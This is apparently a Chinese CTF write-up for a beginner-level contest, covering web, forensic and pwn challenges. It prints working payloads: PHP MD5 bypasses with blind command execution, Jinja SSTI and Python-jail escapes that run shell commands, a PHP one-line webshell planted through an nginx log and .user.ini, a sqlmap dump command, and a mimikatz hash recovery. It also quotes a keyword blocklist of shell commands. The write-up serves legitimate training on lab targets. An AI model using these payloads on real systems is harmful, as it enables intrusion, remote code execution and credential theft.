打人民CC期间打的一个比赛,web的质量个人感觉挺适合我这种小登的(除了测测你的🐎,卡了蛮久,最后第二次上马出来的时候让我感觉有些脑)
*为未解出,赛后复现
WEB
我们一起来下棋吧
藏在源码里
ez_md5
<?php
error_reporting(0);
highlight_file(__FILE__);
$a=$_GET['a'];
$b=$_GET['b'];
if (!($a!==$b && md5($a)===md5($b))){
die('回家吧孩子');
}
$c=(string)$_POST['c'];
$d=(string)$_POST['d'];
if (!($c!==$d && md5($c)==md5($d))){
die('稍微加点料');
}
$love=(string)$_POST['love'];
$ctf=(string)$_POST['ctf'];
if ($love!==$ctf && md5($love)===md5($ctf)){
echo '都写到这里了,自己去拿flag吧';
shell_exec($_POST['shell']);
}
ab用数组绕过即可,cd有弱比较可用0e绕过,love ctf需要用md5碰撞出的值进行绕过,最后是个无回显rce,直接外带
Payload:
GET:
?a[]=1&b[]=2
POST:
c=QNKCDZO&d=240610708&love=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%00%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1U%5D%83%60%FB_%07%FE%A2&ctf=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%02%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1%D5%5D%83%60%FB_%07%FE%A2&shell=cat%20/f*>%201.txt;
表白墙
开始以为是xss,成功弹窗后发现没bot
考虑ssti,fenjing可以出
payload:
{{((((joiner|attr('_''_init__')|attr('_''_globals__')|attr('__g''etitem__'))('_''_builtins__')).__import__("o""s")|attr('p''open'))("\x63\x61\x74\x20\x2f\x66\x2a")|attr('r''ead'))()}}
每日任务
任务一:
[✗] 15:56:18 - Invalid method: GET
[✗] 15:56:18 - From 127.0.0.1
[✗] 15:56:18 - You should use GZCTFBrowser
[✗] 15:56:18 - You're not from hxctf.challenge.game to this challenge
payload:
改为POST
HTTP头:
X-Forwarded-For: 127.0.0.1
User-Agent: GZCTFBrowser
Referer: hxctf.challenge.game
第二关:
[✗] 15:57:38 - Missing HTTP_LOVE_CTF header
[*] 15:57:38 - Hint: ['HTTP_LOVE_CTF']==='TRUE'
服务器要求HTTP头
HTTP_LOVE_CTF
的值严格等于'TRUE'
(全大写)。由于HTTP头在服务端通常会将连字符转换为下划线并添加HTTP_
前缀
payload:
HTTP头:
LOVE-CTF: TRUE
第三关:
[✗] 15:54:01 - Tell me the year
15:54:01 - intval($year) < 2025 && intval($year+1)>2026
Payload:
POST:
year=2024e1
任务四:
[✗] 16:01:47 - no input
16:01:47 - $_POST['play_the_ctf.web'] 随便填完,赶紧下一个
PHP存在. 空格 _等非法字符转换问题:当PHP版本小于8
时,如果参数中出现中括号[
,中括号会被转换成下划线_
,但是会出现转换错误导致接下来如果该参数名中还有非法字符
并不会继续转换成下划线_
,也就是说如果中括号[
出现在前面,那么中括号[
还是会被转换成下划线_
,但是因为出错导致接下来的非法字符并不会被转换成下划线_
payload:
play[the_ctf.web=1
任务五:
[✗] 16:09:10 - no magic
16:09:10 - $magic=is_numeric($_GET['ma']) and is_numeric($_GET['gic']){if($magic)}
ma
是数字,gic
不能输入0-9,转换gic
为数组
payload:
GET:
?ma=1&gic[]=2
Payload:
subprocess.getoutput('cat /home/ctf/flag')
新人来爆照
传东西会被丢到一个/uploads/随机名
的目录里,并且生成一个index.php
里面有一句话
.user.ini
的包含文件功能
传一个.user.ini
内容为auto_prepend_file=/var/log/nginx/access.log
会把目录直接包含在跳转的目录的index.php
中,直接访问http://43.139.51.42:36048
/<?php @eval($_POST["hack"]);?>
写个🐎上去,即可getshell
ez_upload
上传图片后会回显一个蓝链,点击查看图片,点击连接后发现这玩意长这样:url/backend/image.php?name=1
,name是注入点,试出字段有俩,但是只有第一个能回显,同时尝试发现这不是mysql库,是个sqlite库:

sqlmap一把过了,直接dump好像会吧images内容都给dump出来,会卡一会,不过还是能出flag
python sqlmap.py -u "http://43.139.51.42:36074/backend/image.php?name=1’" --dbms=sqlite --dump
测测你的🐎
fuzz一下可上传的文件后缀,不要老想着你那个webshell
看看上传目录下会有多的东西吗?
进去是个文件上传,fuzz后缀后发现只能传.html
,且会对文件内<? ?>
进行过滤,php版本为7.3短标签无用
首页hint:
<!-- $wafPath = "./waf/waf.php";
if (!file_exists($wafPath)) {
echo ("waf是什么,根本不需要;渗透测试结束,系统一切安全~");
function waf($fileName)
{
return false; // 确实很安全
}
} else {
include $wafPath;
} -->
上传成功后出现回显:文件上传成功!路径:./uploads/27ce5d665d97298e96a347856b41bf45/ma.html
被放在随机路径,尝试目录穿越上传无果。
注意到第二条hint,去找上传目录下的文件(不让爆破优先查一下常见文件),找到是index.php
可访问
这里让我感觉有点脑,翻过几遍没体会出多了回显意味着什么
同时发现,该index.php
比主页的index.php
多了回显:waf是什么,根本不需要;渗透测试结束,系统一切安全~根据代码逻辑,这是访问不到/waf/waf.php
才会出现的回显,推测此处的上传是无waf的,传🐎成功,回显:waf是什么,根本不需要;渗透测试结束,系统一切安全~文件上传成功!路径:./uploads/51dd2a2ae0fc0d8d26a933b3c1a2b6da/ma.php
访问路径url/uploads/27ce5d665d97298e96a347856b41bf45/uploads/51dd2a2ae0fc0d8d26a933b3c1a2b6da/ma.php
即可上马
玩玩你的机-1
Your passphrase: subprocess.call(['cat pyjail1.py'],shell=True)
#!/usr/bin/env python
import re
import os
import random
import string
import socket
import subprocess
CONFIG_USE_FORK = True
WELCOME = """Welcome to f4k3ctr0n1c's python jail!"""
MAXLEN = 88
BLACKLISTS = re.compile(r"os|system|[\\\+]")
def safety_eval(code: str):
if BLACKLISTS.search(code):
return "Get back to your cell, damn hacker!"
return eval(code)
def challenge(input_func, print_func):
code = input_func("Your passphrase: ")
if len(code) > MAXLEN:
print_func("What R U doin'? Too long!")
return
value = safety_eval(code)
print_func(value)
def verification_code_gen() -> str:
chars = string.ascii_uppercase + string.digits
return ''.join(random.choices(chars, k=6))
def process_conn(input_func, print_func):
try:
print_func(WELCOME)
attempt_count = 0
while True:
veri = verification_code_gen()
user_input = input_func(
f"Enter {veri} to prove that you are a human: "
).strip().upper()
if user_input != veri:
attempt_count += 1
print_func("入机!")
if attempt_count > 5:
print_func("搁这DDoS呢?爪巴!")
break
continue
attempt_count = 0
try:
challenge(input_func, print_func)
except Exception as e:
print_func(f"[-] Error: {e}")
except Exception as e:
print_func(f"[-] Unhandled Issue Occurred!\n"
f"We cannot recover from error: {e}\n"
"Please reconnect or punch in f4k3ctr0n1c(Q:1966727322)'s face if error persist")
def daemon_main():
"""主守护进程"""
print("[*] Server starting")
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
pwd = os.path.dirname(__file__)
# 自加载脚本到内存文件描述符
with open(__file__, "rb") as f:
script = f.read()
self_fd = os.memfd_create("main")
os.write(self_fd, script)
os.lseek(self_fd, 0, os.SEEK_SET)
os.chmod(self_fd, 0o444)
try:
sock.bind(("0.0.0.0", 9999))
sock.listen(1)
while True:
try:
conn, addr = sock.accept()
print(f"[+] Connected with {addr}")
fd = conn.fileno()
subprocess.Popen(
["python", f"/proc/self/fd/{self_fd}", "fork"],
stdin=fd,
stdout=fd,
stderr=fd,
pass_fds=[self_fd],
cwd=pwd,
env=os.environ,
)
except Exception as e:
print(f"[-] {e}")
except KeyboardInterrupt:
print("[!] Server stopped")
finally:
sock.close()
print("[*] Server closed")
if __name__ == "__main__":
import sys
if len(sys.argv) == 2 and sys.argv[1] == "fork":
del sys
process_conn(input, print)
else:
daemon_main()0

玩玩你的机-2
Your passphrase: dir(__builtins__)
['ArithmeticError', 'AssertionError', 'AttributeError', 'BaseException', 'BlockingIOError', 'BrokenPipeError', 'BufferError', 'BytesWarning', 'ChildProcessError', 'ConnectionAbortedError', 'ConnectionError', 'ConnectionRefusedError', 'ConnectionResetError', 'DeprecationWarning', 'EOFError', 'Ellipsis', 'EnvironmentError', 'Exception', 'False', 'FileExistsError', 'FileNotFoundError', 'FloatingPointError', 'FutureWarning', 'GeneratorExit', 'IOError', 'ImportError', 'ImportWarning', 'IndentationError', 'IndexError', 'InterruptedError', 'IsADirectoryError', 'KeyError', 'KeyboardInterrupt', 'LookupError', 'MemoryError', 'ModuleNotFoundError', 'NameError', 'None', 'NotADirectoryError', 'NotImplemented', 'NotImplementedError', 'OSError', 'OverflowError', 'PendingDeprecationWarning', 'PermissionError', 'ProcessLookupError', 'RecursionError', 'ReferenceError', 'ResourceWarning', 'RuntimeError', 'RuntimeWarning', 'StopAsyncIteration', 'StopIteration', 'SyntaxError', 'SyntaxWarning', 'SystemError', 'SystemExit', 'TabError', 'TimeoutError', 'True', 'TypeError', 'UnboundLocalError', 'UnicodeDecodeError', 'UnicodeEncodeError', 'UnicodeError', 'UnicodeTranslateError', 'UnicodeWarning', 'UserWarning', 'ValueError', 'Warning', 'ZeroDivisionError', '__build_class__', '__debug__', '__doc__', '__import__', '__loader__', '__name__', '__package__', '__spec__', 'abs', 'all', 'any', 'ascii', 'bin', 'bool', 'breakpoint', 'bytearray', 'bytes', 'callable', 'chr', 'classmethod', 'compile', 'complex', 'copyright', 'credits', 'delattr', 'dict', 'dir', 'divmod', 'enumerate', 'eval', 'exec', 'exit', 'filter', 'float', 'format', 'frozenset', 'getattr', 'globals', 'hasattr', 'hash', 'help', 'hex', 'id', 'input', 'int', 'isinstance', 'issubclass', 'iter', 'len', 'license', 'list', 'locals', 'map', 'max', 'memoryview', 'min', 'next', 'object', 'oct', 'open', 'ord', 'pow', 'print', 'property', 'quit', 'range', 'repr', 'reversed', 'round', 'set', 'setattr', 'slice', 'sorted', 'staticmethod', 'str', 'sum', 'super', 'tuple', 'type', 'vars', 'zip']
Your passphrase: print(globals())
{'__name__': '__main__', '__doc__': None, '__package__': None, '__loader__': <_frozen_importlib_external.SourceFileLoader object at 0x7fa3b6914a30>, '__spec__': None, '__annotations__': {}, '__builtins__': <module 'builtins' (built-in)>, '__file__': '/proc/self/fd/4', '__cached__': None, 're': <module 're' from '/usr/local/lib/python3.9/re.py'>, 'os': <module 'os' from '/usr/local/lib/python3.9/os.py'>, 'random': <module 'random' from '/usr/local/lib/python3.9/random.py'>, 'string': <module 'string' from '/usr/local/lib/python3.9/string.py'>, 'socket': <module 'socket' from '/usr/local/lib/python3.9/socket.py'>, 'subprocess': <module 'subprocess' from '/usr/local/lib/python3.9/subprocess.py'>, 'CONFIG_USE_FORK': True, 'WELCOME': "Welcome to f4k3ctr0n1c's python jail!", 'MAXLEN': 200, 'BLACKLISTS': re.compile('os|system|eval|exec|subprocess|f|[\\\\\\+]'), 'safety_eval': <function safety_eval at 0x7fa3b69f70d0>, 'challenge': <function challenge at 0x7fa3b681ac10>, 'verification_code_gen': <function verification_code_gen at 0x7fa3b67a1940>, 'process_conn': <function process_conn at 0x7fa3b67a29d0>, 'daemon_main': <function daemon_main at 0x7fa3b67a2a60>}
用chr拼接字符绕过
构造字符串 如:
'os'
:''.join([chr(111), chr(115)])
chr(111)
是字符'o'
chr(115)
是字符's'
- 合并后得到
'os'
获取全局变量中的
'os'
模块:
globals()[''.join([chr(111), chr(115)])]
globals()
返回当前全局变量字典通过动态构造的键
'os'
获取 os 模块
如法炮制(flag和ctf被过滤 通配符绕过)
payload:
getattr(globals()[''.join([chr(111),chr(115)])], ''.join([chr(115),chr(121),chr(115),chr(116),chr(101),chr(109)]))('nl /home/c??/*')
*随便输
附件给出app.py
源码:
from flask import Flask, request, render_template_string
import socket
import threading
import re
app = Flask(__name__)
blacklist = ['/', 'flag', 'cat', '+', 'base', 'attr', 'before_request', 'setdefault',
'cycler', 'set', 'ls', 'response', 'eval', 'chmod', 'session', 'format',
'self', 'mro', 'subclasses', 'chr', 'ord', 'config', 'getitem', 'teardown',
'module', '__init__', '__loader__', '_request_ctx_stack', 'string', 'cp',
'_update', 'add', 'after_request', 'system', 'open','socket', '*', '?', '>',
'mv', 'file', 'write', 'env', 'join', 'static', '@', 'sleep','urllib']
@app.route('/')
def index():
return "这里没有flag"
@app.route('/challenge', methods=['POST'])
def rce():
cmd = request.form.get('try', '')
for word in blacklist:
pattern = r'(^|[^\w]){}([^\w]|$)'.format(re.escape(word))
if re.search(pattern, cmd):
return "执行失败"
code = render_template_string(cmd)
return '执行成功' if code is not None else '?'
class HTTPProxyHandler:
def __init__(self, target_host, target_port):
self.target_host = target_host
self.target_port = target_port
def handle_request(self, client_socket):
try:
request_data = b""
while True:
chunk = client_socket.recv(4096)
request_data += chunk
if len(chunk) < 4096:
break
if not request_data:
client_socket.close()
return
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as proxy_socket:
proxy_socket.connect((self.target_host, self.target_port))
proxy_socket.sendall(request_data)
response_data = b""
while True:
chunk = proxy_socket.recv(4096)
if not chunk:
break
response_data += chunk
header_end = response_data.rfind(b"\r\n\r\n")
if header_end != -1:
body = response_data[header_end + 4:]
else:
body = response_data
response_body = body
response = b"HTTP/1.1 200 OK\r\n" \
b"Content-Length: " + str(len(response_body)).encode() + b"\r\n" \
b"Content-Type: text/html; charset=utf-8\r\n" \
b"\r\n" + response_body
client_socket.sendall(response)
except Exception as e:
print(f"Proxy Error: {e}")
finally:
client_socket.close()
def start_proxy_server(host, port, target_host, target_port):
proxy_handler = HTTPProxyHandler(target_host, target_port)
server_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server_socket.bind((host, port))
server_socket.listen(100)
print(f"Proxy server is running on {host}:{port} and forwarding to {target_host}:{target_port}...")
try:
while True:
client_socket, addr = server_socket.accept()
print(f"Connection from {addr}")
thread = threading.Thread(target=proxy_handler.handle_request, args=(client_socket,))
thread.daemon = True
thread.start()
except KeyboardInterrupt:
print("Shutting down proxy server...")
finally:
server_socket.close()
def run_flask_app():
app.run(debug=False, host='127.0.0.1', port=5000)
if __name__ == "__main__":
proxy_host = "0.0.0.0"
proxy_port = 5001
target_host = "127.0.0.1"
target_port = 5000
proxy_thread = threading.Thread(target=start_proxy_server, args=(proxy_host, proxy_port, target_host, target_port))
proxy_thread.daemon = True
proxy_thread.start()
run_flask_app()
首先这是一个flask模板,/challenge
路由中cmd参数可控,过滤了一些ssti和rce的命令但未过滤花括号,考虑ssti,但是没有回显
本地跑出来是可以回显执行成功/失败来判断输入是否被过滤,但是放到靶机内执行成功会变成回显:似乎什么有没有发生... (做的时候一根筋了,以为还有额外的waf,没考虑是执行了但无回显的情况)
参考文章:SSTI无回显处理(新回显方式)-https://www.cnblogs.com/E4telle/articles/18616135
选择用server头回显,这里用文章中的payload,但是需要改动一下来绕过题目waf
{{lipsum.__globals__.__builtins__.setattr(lipsum.__spec__.__init__.__globals__.sys.modules.werkzeug.serving.WSGIRequestHandler,"protocol_version",lipsum.__globals__.__builtins__.__import__('os').popen('whoami').read())}}
- 字符串拼接:使用
~
操作符将敏感关键字(如cat
和flag
)拆分,避免直接匹配。- 路径替换:用
g.pop.__globals__.sys
替代lipsum.__spec__.__init__.__globals__.sys
,避免黑名单关键字init。- 间接访问模块:通过
lipsum.__globals__.os
间接访问os
模块,避免使用import
。- 目标属性混淆:修改不同的属性(如从
protocol_version
改为server_version
),降低被检测的可能性。
payload:
try={{lipsum.__globals__.__builtins__.setattr(g.pop.__globals__.sys.modules.werkzeug.serving.WSGIRequestHandler,\"server_version\",lipsum.__globals__.os.popen('cd ..;tac f'~'lag').read())}}
MISC
f4k3ctr0n1c的新年祝福
在出题人qq空间
flag{h@ppy_2025!!!}
f4k3ctr0n1c的旅行-1

谷歌识图
flag{古北水镇}
f4k3ctr0n1c的旅行-3

观察图片是海南航空的飞机,机头下方有“薛之谦-天外来物”海报,确定飞机编号B-7667
题目提示牛油火锅,所以目的地在重庆,同时,发现出题人QQ位置写着北京,查询从北京到重庆,海南航空B-7667(空客330)承飞的航班号
flag{
HU7267
}
学姐的微信在哪里呀
记事本字体拉最小,再把缩放调最小,就能扫出来

flag{EZ_xiejie_Jus7_4_d4yDr3@M!}
测测我的马-1
wireshark打开,http第一个流POST传了东西

解出是:
{'time': '2025-02-18T14:47:43.727706', 'hostname': 'DESKTOP-VBRA7O5', 'user': 'admin', 'ip': '61.139.2.129', 'os': 'Windows-10-10.0.19045-SP0'}
里面有有admin,于是考虑这两个ip就是题目所指ip
flag{61.139.2.129_61.139.2.1}
测测我的马-2

直接搜出来了0.o
flag{H@_hA_y0ur_PC_15_h4cK3d!}
测测我的马-3

这个路径有Windows
之类的文件,所以猜测这个是C盘
flag{C:\Temp\hack.txt}
测测我的马-4

flag{w1nh4ck3r}
测测我的马-5
已知攻击ip为61.139.2.1
,查流量发现一个路径

发现一个程序svchost.exe

导出发现报毒确认为木马

flag{C:\Users\Public\Downloads\svchost.exe}
测测我的马-6
mimikatz
跑出密码
RID : 000003e9 (1001)
User : w1nh4ck3r
Hash NTLM: 217e50203a5aba59cefa863c724bf61b
解密:

flag{P@ssw0rd!}
Pwn
签到1-calc
拷打ai给了个脚本
import socket
def recv_until(sock, delimiter, echo=False):
data = b''
while True:
chunk = sock.recv(1024)
if not chunk:
break
if echo:
print("[RAW RECV]", chunk.decode(errors='replace')) # 显示原始接收数据
data += chunk
if delimiter in data:
break
return data
# 创建连接
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('43.139.51.42', 37325))
# 接收初始数据
init_data = recv_until(s, b'Come on!', echo=True)
print("[INIT]", init_data.decode())
for _ in range(100):
# 接收问题数据
problem_data = recv_until(s, b'answer: ', echo=True).decode()
print("[PROBLEM SECTION]", problem_data) # 显示完整问题段
# 改进的解析逻辑
problem_line = None
for line in problem_data.split('\n'):
if 'problem:' in line:
# 处理类似 "case 1 : problem: 130 - 216" 的情况
problem_part = line.split('problem: ')[-1] # 取最后出现的problem部分
problem_line = problem_part.strip()
break
if not problem_line:
print(f"Error: No problem found in:\n{problem_data}")
break
print("[DEBUG] Problem content:", problem_line) # 调试输出
try:
# 解析运算表达式
expression = problem_line.replace('?', '') # 去除可能存在的干扰字符
a_str, op, b_str = expression.split()
a = int(a_str)
b = int(b_str)
except Exception as e:
print(f"Parse error: {e}\nOn line: {problem_line}")
break
# 计算答案
if op == '+':
res = a + b
elif op == '-':
res = a - b
elif op == '*':
res = a * b
elif op == '/':
res = a // b
else:
print(f"Unknown operator: {op}")
break
# 发送答案
answer = f"{res}\n"
print("[SEND]", answer.strip())
s.send(answer.encode())
# 获取最终结果
try:
s.settimeout(3)
while True:
final = s.recv(1024).decode()
if not final:
break
print("[FINAL]", final)
except Exception as e:
print("End of connection:", e)
s.close()
Comments NOTHING